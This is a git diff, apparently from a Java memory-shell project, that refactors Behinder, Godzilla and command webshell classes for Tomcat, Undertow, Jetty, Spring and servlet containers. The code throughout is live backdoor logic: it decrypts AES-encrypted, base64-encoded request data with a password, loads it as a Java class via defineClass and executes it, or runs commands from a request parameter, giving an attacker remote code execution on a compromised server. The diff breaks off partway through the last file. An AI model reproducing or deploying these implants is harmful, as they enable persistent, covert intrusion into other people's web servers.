@@ -53,39 +53,37 @@ public class BehinderServlet extends ClassLoader implements Servlet {
     }
 
     @SuppressWarnings("all")
-    public Object unwrapResponse(Object response) {
+    public Object unwrap(Object obj) {
-        Object internalResponse = response;
+        try {
-        while (true) {
+            return getFieldValue(obj, "response");
-            try {
+        } catch (Throwable e) {
-                Object r = getFieldValue(response, "response");
+            return obj;
-                if (r == internalResponse) {
-                    return r;
-                } else {
-                    internalResponse = r;
-                }
-            } catch (Exception e) {
-                return internalResponse;
-            }
         }
     }
 
     @SuppressWarnings("all")
     public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
         Class<?> clazz = obj.getClass();
         while (clazz != Object.class) {
             try {
-                field = clazz.getDeclaredField(name);
+                Field field = clazz.getDeclaredField(name);
-                break;
+                field.setAccessible(true);
+                return field.get(obj);
             } catch (NoSuchFieldException var5) {
                 clazz = clazz.getSuperclass();
             }
         }
-        if (field == null) {
+        throw new NoSuchFieldException();
-            throw new NoSuchFieldException(name);
+    }
-        } else {
+
-            field.setAccessible(true);
+    @SuppressWarnings("all")
-            return field.get(obj);
+    public static byte[] base64Decode(String bs) throws Exception {
+        try {
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
     }
 
@@ -96,34 +94,10 @@ public class BehinderServlet extends ClassLoader implements Servlet {
 
     @Override
     public void destroy() {
-
-    }
-
-    @SuppressWarnings("all")
-    public Class<?> g(byte[] cb) {
-        return super.defineClass(cb, 0, cb.length);
-    }
-
-
-    @SuppressWarnings("all")
-    public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-        } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
-            Object decoder = base64.newInstance();
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-        }
-        return value;
     }
 
     @Override
     public void init(ServletConfig config) throws ServletException {
-
     }
 
     @Override

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderUndertowServletHandler.java

@@ -41,14 +41,14 @@ public class BehinderUndertowServletHandler extends ClassLoader {
                 session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
                 Map<String, Object> map = new HashMap<String, Object>(3);
                 map.put("request", request);
-                map.put("response", unwrapResponse(response));
+                map.put("response", unwrap(response));
                 map.put("session", session);
                 Cipher c = Cipher.getInstance("AES");
                 c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
                 BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
                 String parameter = reader.readLine();
                 byte[] bytes = c.doFinal(base64Decode(parameter));
-                Object instance = (new BehinderUndertowServletHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
+                Object instance = new BehinderUndertowServletHandler(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length).newInstance();
                 instance.equals(map);
                 return true;
             }
@@ -59,60 +59,37 @@ public class BehinderUndertowServletHandler extends ClassLoader {
     }
 
     @SuppressWarnings("all")
-    public Object unwrapResponse(Object response) {
+    public Object unwrap(Object obj) {
-        Object internalResponse = response;
+        try {
-        while (true) {
+            return getFieldValue(obj, "response");
-            try {
+        } catch (Throwable e) {
-                Object r = getFieldValue(response, "response");
+            return obj;
-                if (r == internalResponse) {
-                    return r;
-                } else {
-                    internalResponse = r;
-                }
-            } catch (Exception e) {
-                return internalResponse;
-            }
         }
     }
 
-    @SuppressWarnings("all")
-    public Class<?> g(byte[] b) {
-        return super.defineClass(b, 0, b.length);
-    }
-
     @SuppressWarnings("all")
     public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
         Class<?> clazz = obj.getClass();
         while (clazz != Object.class) {
             try {
-                field = clazz.getDeclaredField(name);
+                Field field = clazz.getDeclaredField(name);
-                break;
+                field.setAccessible(true);
+                return field.get(obj);
             } catch (NoSuchFieldException var5) {
                 clazz = clazz.getSuperclass();
             }
         }
-        if (field == null) {
+        throw new NoSuchFieldException();
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
     }
 
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-            Object decoder = base64.newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
-        return value;
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java

@@ -38,13 +38,13 @@ public class BehinderValve extends ClassLoader implements Valve {
                 HttpSession session = request.getSession();
                 Map<String, Object> obj = new HashMap<String, Object>(3);
                 obj.put("request", request);
-                obj.put("response", unwrapResponse(response));
+                obj.put("response", unwrap(response));
                 obj.put("session", session);
                 session.setAttribute("u", pass);
                 Cipher c = Cipher.getInstance("AES");
                 c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
                 byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
-                Object instance = (new BehinderValve(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
+                Object instance = (new BehinderValve(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
                 instance.equals(obj);
                 return;
             }
@@ -55,24 +55,38 @@ public class BehinderValve extends ClassLoader implements Valve {
     }
 
     @SuppressWarnings("all")
-    public static byte[] base64Decode(String bs) throws Exception {
+    public Object unwrap(Object obj) {
-        byte[] value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            return getFieldValue(obj, "response");
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+        } catch (Throwable e) {
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+            return obj;
-        } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
-            Object decoder = base64.newInstance();
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
-        return value;
     }
 
     @SuppressWarnings("all")
-    public Class g(byte[] cb) {
+    public static Object getFieldValue(Object obj, String name) throws Exception {
-        return super.defineClass(cb, 0, cb.length);
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException();
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) throws Exception {
+        try {
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+        }
     }
 
     protected Valve next;
@@ -96,41 +110,4 @@ public class BehinderValve extends ClassLoader implements Valve {
     @Override
     public void backgroundProcess() {
     }
-
-    @SuppressWarnings("all")
-    public Object unwrapResponse(Object response) {
-        Object internalResponse = response;
-        while (true) {
-            try {
-                Object r = getFieldValue(response, "response");
-                if (r == internalResponse) {
-                    return r;
-                } else {
-                    internalResponse = r;
-                }
-            } catch (Exception e) {
-                return internalResponse;
-            }
-        }
-    }
-
-    @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
-            try {
-                field = clazz.getDeclaredField(name);
-                break;
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        if (field == null) {
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
-    }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java

@@ -14,8 +14,8 @@ public class Command {
     @Override
     public boolean equals(Object obj) {
         Object[] args = ((Object[]) obj);
-        Object request = unwrapRequest(args[0]);
+        Object request = unwrap(args[0], "request");
-        Object response = unwrapResponse(args[1]);
+        Object response = unwrap(args[1], "response");
         try {
             String param = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
             if (param != null) {
@@ -43,56 +43,26 @@ public class Command {
     }
 
     @SuppressWarnings("all")
-    public Object unwrapRequest(Object request) {
+    public Object unwrap(Object obj, String fieldName) {
-        Object internalRequest = request;
+        try {
-        while (true) {
+            return getFieldValue(obj, fieldName);
-            try {
+        } catch (Throwable e) {
-                Object r = getFieldValue(request, "request");
+            return obj;
-                if (r == internalRequest) {
-                    return r;
-                } else {
-                    internalRequest = r;
-                }
-            } catch (Exception e) {
-                return internalRequest;
-            }
-        }
-    }
-
-    @SuppressWarnings("all")
-    public Object unwrapResponse(Object response) {
-        Object internalResponse = response;
-        while (true) {
-            try {
-                Object r = getFieldValue(response, "response");
-                if (r == internalResponse) {
-                    return r;
-                } else {
-                    internalResponse = r;
-                }
-            } catch (Exception e) {
-                return internalResponse;
-            }
         }
     }
 
     @SuppressWarnings("all")
     public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
         Class<?> clazz = obj.getClass();
         while (clazz != Object.class) {
             try {
-                field = clazz.getDeclaredField(name);
+                Field field = clazz.getDeclaredField(name);
-                break;
+                field.setAccessible(true);
+                return field.get(obj);
             } catch (NoSuchFieldException var5) {
                 clazz = clazz.getSuperclass();
             }
         }
-        if (field == null) {
+        throw new NoSuchFieldException();
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java

@@ -27,8 +27,8 @@ public class Godzilla extends ClassLoader {
     @Override
     public boolean equals(Object obj) {
         Object[] args = ((Object[]) obj);
-        Object request = unwrapRequest(args[0]);
+        Object request = unwrap(args[0], "request");
-        Object response = unwrapResponse(args[1]);
+        Object response = unwrap(args[1], "response");
         try {
             String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
             if (value != null && value.contains(headerValue)) {
@@ -38,7 +38,7 @@ public class Godzilla extends ClassLoader {
                 Object session = request.getClass().getMethod("getSession").invoke(request);
                 Object cache = session.getClass().getMethod("getAttribute", String.class).invoke(session, key);
                 if (cache == null) {
-                    session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new Godzilla(Thread.currentThread().getContextClassLoader())).Q(data));
+                    session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new Godzilla(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length));
                 } else {
                     ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
                     Object f = ((Class<?>) cache).newInstance();
@@ -61,48 +61,31 @@ public class Godzilla extends ClassLoader {
 
     @SuppressWarnings("all")
     public static String base64Encode(byte[] bs) throws Exception {
-        String value = null;
-        Class<?> base64;
-        ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
         try {
-            base64 = contextClassLoader.loadClass("java.util.Base64");
+            Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
-            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
-            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
         } catch (Exception var6) {
-            base64 = contextClassLoader.loadClass("sun.misc.BASE64Encoder");
+            Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
-            Object encoder = base64.newInstance();
+            return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-            value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
         }
-        return value;
     }
 
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
-        ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
         try {
-            base64 = contextClassLoader.loadClass("java.util.Base64");
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            base64 = contextClassLoader.loadClass("sun.misc.BASE64Decoder");
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-            Object decoder = base64.newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
-        return value;
-    }
-
-    @SuppressWarnings("all")
-    public Class<?> Q(byte[] cb) {
-        return super.defineClass(cb, 0, cb.length);
     }
 
     @SuppressWarnings("all")
     public byte[] x(byte[] s, boolean m) throws Exception {
-        ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
-        Class<?> cipherClass = contextClassLoader.loadClass("javax.crypto.Cipher");
+        Class<?> cipherClass = classLoader.loadClass("javax.crypto.Cipher");
-        Class<?> secretKeySpecClass = contextClassLoader.loadClass("javax.crypto.spec.SecretKeySpec");
+        Class<?> secretKeySpecClass = classLoader.loadClass("javax.crypto.spec.SecretKeySpec");
         Constructor<?> constructor = secretKeySpecClass.getConstructor(byte[].class, String.class);
         Method initMethod = cipherClass.getMethod("init", int.class, Key.class);
         Object c = cipherClass.getMethod("getInstance", String.class).invoke(null, "AES");
@@ -112,56 +95,26 @@ public class Godzilla extends ClassLoader {
     }
 
     @SuppressWarnings("all")
-    public Object unwrapRequest(Object request) {
+    public Object unwrap(Object obj, String fieldName) {
-        Object internalRequest = request;
+        try {
-        while (true) {
+            return getFieldValue(obj, fieldName);
-            try {
+        } catch (Throwable e) {
-                Object r = getFieldValue(request, "request");
+            return obj;
-                if (r == internalRequest) {
-                    return r;
-                } else {
-                    internalRequest = r;
-                }
-            } catch (Exception e) {
-                return internalRequest;
-            }
-        }
-    }
-
-    @SuppressWarnings("all")
-    public Object unwrapResponse(Object response) {
-        Object internalResponse = response;
-        while (true) {
-            try {
-                Object r = getFieldValue(response, "response");
-                if (r == internalResponse) {
-                    return r;
-                } else {
-                    internalResponse = r;
-                }
-            } catch (Exception e) {
-                return internalResponse;
-            }
         }
     }
 
     @SuppressWarnings("all")
     public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
         Class<?> clazz = obj.getClass();
         while (clazz != Object.class) {
             try {
-                field = clazz.getDeclaredField(name);
+                Field field = clazz.getDeclaredField(name);
-                break;
+                field.setAccessible(true);
+                return field.get(obj);
             } catch (NoSuchFieldException var5) {
                 clazz = clazz.getSuperclass();
             }
         }
-        if (field == null) {
+        throw new NoSuchFieldException();
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java

@@ -36,7 +36,7 @@ public class GodzillaControllerHandler extends ClassLoader implements Controller
                 data = this.x(data, false);
                 Object cache = session.getAttribute(key);
                 if (cache == null) {
-                    session.setAttribute(key, (new GodzillaControllerHandler(Thread.currentThread().getContextClassLoader())).Q(data));
+                    session.setAttribute(key, (new GodzillaControllerHandler(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length));
                 } else {
                     ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
                     Object f = ((Class<?>) cache).newInstance();
@@ -58,48 +58,29 @@ public class GodzillaControllerHandler extends ClassLoader implements Controller
 
     @SuppressWarnings("all")
     public static String base64Encode(byte[] bs) throws Exception {
-        String value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
-            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
-            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Encoder");
+            Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
-            Object encoder = base64.newInstance();
+            return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-            value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
         }
-        return value;
     }
 
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-            Object decoder = base64.newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
-        return value;
     }
 
-    @SuppressWarnings("all")
+    public byte[] x(byte[] s, boolean m) throws Exception {
-    public Class<?> Q(byte[] cb) {
+        Cipher c = Cipher.getInstance("AES");
-        return super.defineClass(cb, 0, cb.length);
+        c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
-    }
+        return c.doFinal(s);
-
-    public byte[] x(byte[] s, boolean m) {
-        try {
-            Cipher c = Cipher.getInstance("AES");
-            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
-            return c.doFinal(s);
-        } catch (Exception var4) {
-            return null;
-        }
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java

@@ -97,7 +97,6 @@ public class GodzillaFilter extends ClassLoader implements Filter {
 
     public byte[] x(byte[] s, boolean m) {
         try {
-
             Cipher c = Cipher.getInstance("AES");
             c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
             return c.doFinal(s);

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java

@@ -40,7 +40,7 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct
                 byte[] data = base64Decode(map.getFirst(pass));
                 data = x(data, false);
                 if (payload == null) {
-                    payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
+                    payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
                 } else {
                     ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
                     Object f = payload.getDeclaredConstructor().newInstance();
@@ -63,43 +63,29 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct
 
     @SuppressWarnings("all")
     public static String base64Encode(byte[] bs) throws Exception {
-        String value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
-            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
-            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Encoder");
+            Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
-            Object encoder = base64.newInstance();
+            return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-            value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
         }
-        return value;
     }
 
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-            Object decoder = base64.newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
-        return value;
     }
 
-    public byte[] x(byte[] s, boolean m) {
+    public byte[] x(byte[] s, boolean m) throws Exception {
-        try {
+        Cipher c = Cipher.getInstance("AES");
-            Cipher c = Cipher.getInstance("AES");
+        c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
-            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
+        return c.doFinal(s);
-            return c.doFinal(s);
-        } catch (Exception var4) {
-            return null;
-        }
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java

@@ -59,53 +59,31 @@ public class GodzillaHandlerMethod extends ClassLoader {
         return ResponseEntity.ok(bufferStream);
     }
 
-
     @SuppressWarnings("all")
     public static String base64Encode(byte[] bs) throws Exception {
-        String value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
-            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
-            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
         } catch (Exception var6) {
-            try {
+            Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
-                base64 = Class.forName("sun.misc.BASE64Encoder");
+            return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-                Object encoder = base64.newInstance();
-                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-            } catch (Exception ignored) {
-            }
         }
-        return value;
     }
 
     @SuppressWarnings("all")
-    public static byte[] base64Decode(String bs) {
+    public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            try {
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-                base64 = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-                Object decoder = base64.newInstance();
-                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            } catch (Exception ignored) {
-            }
         }
-        return value;
     }
 
-    public byte[] x(byte[] s, boolean m) {
+    public byte[] x(byte[] s, boolean m) throws Exception {
-        try {
+        Cipher c = Cipher.getInstance("AES");
-
+        c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
-            Cipher c = Cipher.getInstance("AES");
+        return c.doFinal(s);
-            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
-            return c.doFinal(s);
-        } catch (Exception var4) {
-            return null;
-        }
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java

@@ -37,7 +37,7 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
                 data = this.x(data, false);
                 Object cache = session.getAttribute(key);
                 if (cache == null) {
-                    session.setAttribute(key, (new GodzillaInterceptor(Thread.currentThread().getContextClassLoader())).Q(data));
+                    session.setAttribute(key, (new GodzillaInterceptor(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length));
                 } else {
                     ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
                     Object f = ((Class<?>) cache).newInstance();
@@ -57,6 +57,34 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
         return true;
     }
 
+    @SuppressWarnings("all")
+    public static String base64Encode(byte[] bs) throws Exception {
+        try {
+            Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
+            return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
+        } catch (Exception var6) {
+            Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
+            return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) throws Exception {
+        try {
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+        }
+    }
+
+    public byte[] x(byte[] s, boolean m) throws Exception {
+        Cipher c = Cipher.getInstance("AES");
+        c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
+        return c.doFinal(s);
+    }
+
     @Override
     public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
 
@@ -67,54 +95,6 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
 
     }
 
-    @SuppressWarnings("all")
-    public static String base64Encode(byte[] bs) throws Exception {
-        String value = null;
-        Class<?> base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
-            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
-        } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Encoder");
-            Object encoder = base64.newInstance();
-            value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-        }
-        return value;
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-        } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
-            Object decoder = base64.newInstance();
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-        }
-        return value;
-    }
-
-    @SuppressWarnings("all")
-    public Class<?> Q(byte[] cb) {
-        return super.defineClass(cb, 0, cb.length);
-    }
-
-    public byte[] x(byte[] s, boolean m) {
-        try {
-
-            Cipher c = Cipher.getInstance("AES");
-            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
-            return c.doFinal(s);
-        } catch (Exception var4) {
-            return null;
-        }
-    }
-
     @Override
     public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
 

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java

@@ -53,7 +53,7 @@ public class GodzillaJettyHandler extends ClassLoader {
                 Object session = request.getClass().getMethod("getSession").invoke(request);
                 Object cache = session.getClass().getMethod("getAttribute", String.class).invoke(session, key);
                 if (cache == null) {
-                    session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader())).Q(data));
